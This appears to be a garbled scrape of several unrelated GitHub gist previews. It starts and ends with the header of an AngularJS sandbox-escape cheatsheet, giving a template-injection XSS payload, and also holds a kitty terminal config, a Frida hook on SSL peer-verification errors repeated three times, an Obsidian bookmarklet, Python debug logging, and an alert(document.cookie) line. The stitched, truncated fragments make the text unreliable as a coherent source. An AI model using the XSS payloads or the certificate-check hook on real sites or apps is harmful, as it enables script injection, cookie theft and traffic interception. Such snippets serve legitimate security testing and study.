#Angular Sandbox Escapes Cheatsheet
Source: XSS without HTML: Client-Side Template Injection with AngularJS
1.0.1 - 1.1.5 Mario Heiderich (Cure53)
{{constructor.constructor('alert(1)')()}}
1.2.0 - 1.2.1
| # BEGIN_KITTY_THEME | |
| # Catppuccin-Frappe | |
| include current-theme.conf | |
| # END_KITTY_THEME | |
| # ========================= | |
| # Window / Appearance | |
| # ========================= | |
| background_opacity 1.0 |
| Java.perform(function () { | |
| const UnverifiedCertError = Java.use('javax.net.ssl.SSLPeerUnverifiedException'); | |
| UnverifiedCertError.$init.implementation = function (str) { | |
| const stackTrace = Java.use('java.lang.Thread').currentThread().getStackTrace(); | |
| const exceptionStackIndex = stackTrace.findIndex(stack => | |
| stack.getClassName() === "javax.net.ssl.SSLPeerUnverifiedException" | |
| ); | |
| const callingFunctionStack = stackTrace[exceptionStackIndex + 1]; | |
| const className = callingFunctionStack.getClassName(); | |
| const methodName = callingFunctionStack.getMethodName(); |
| Java.perform(function () { | |
| const UnverifiedCertError = Java.use('javax.net.ssl.SSLPeerUnverifiedException'); | |
| UnverifiedCertError.$init.implementation = function (str) { | |
| const stackTrace = Java.use('java.lang.Thread').currentThread().getStackTrace(); | |
| const exceptionStackIndex = stackTrace.findIndex(stack => | |
| stack.getClassName() === "javax.net.ssl.SSLPeerUnverifiedException" | |
| ); | |
| const callingFunctionStack = stackTrace[exceptionStackIndex + 1]; | |
| const className = callingFunctionStack.getClassName(); | |
| const methodName = callingFunctionStack.getMethodName(); |
| Java.perform(function () { | |
| const UnverifiedCertError = Java.use('javax.net.ssl.SSLPeerUnverifiedException'); | |
| UnverifiedCertError.$init.implementation = function (str) { | |
| const stackTrace = Java.use('java.lang.Thread').currentThread().getStackTrace(); | |
| const exceptionStackIndex = stackTrace.findIndex(stack => | |
| stack.getClassName() === "javax.net.ssl.SSLPeerUnverifiedException" | |
| ); | |
| const callingFunctionStack = stackTrace[exceptionStackIndex + 1]; |
| javascript: Promise.all([import('https://unpkg.com/turndown@6.0.0?module'), import('https://unpkg.com/@tehshrike/readability@0.2.0'), ]).then(async ([{ | |
| default: Turndown | |
| }, { | |
| default: Readability | |
| }]) => { | |
| /* Optional vault name */ | |
| const vault = ""; | |
| /* Optional folder name such as "Clippings/" */ |
| import requests | |
| import logging | |
| import httplib | |
| # Debug logging | |
| httplib.HTTPConnection.debuglevel = 1 | |
| logging.basicConfig() | |
| logging.getLogger().setLevel(logging.DEBUG) | |
| req_log = logging.getLogger('requests.packages.urllib3') | |
| req_log.setLevel(logging.DEBUG) |
| alert(document.cookie); |
#Angular Sandbox Escapes Cheatsheet
Source: XSS without HTML: Client-Side Template Injection with AngularJS
1.0.1 - 1.1.5 Mario Heiderich (Cure53)
{{constructor.constructor('alert(1)')()}}
1.2.0 - 1.2.1
I hereby claim:
To claim this, I am signing this object: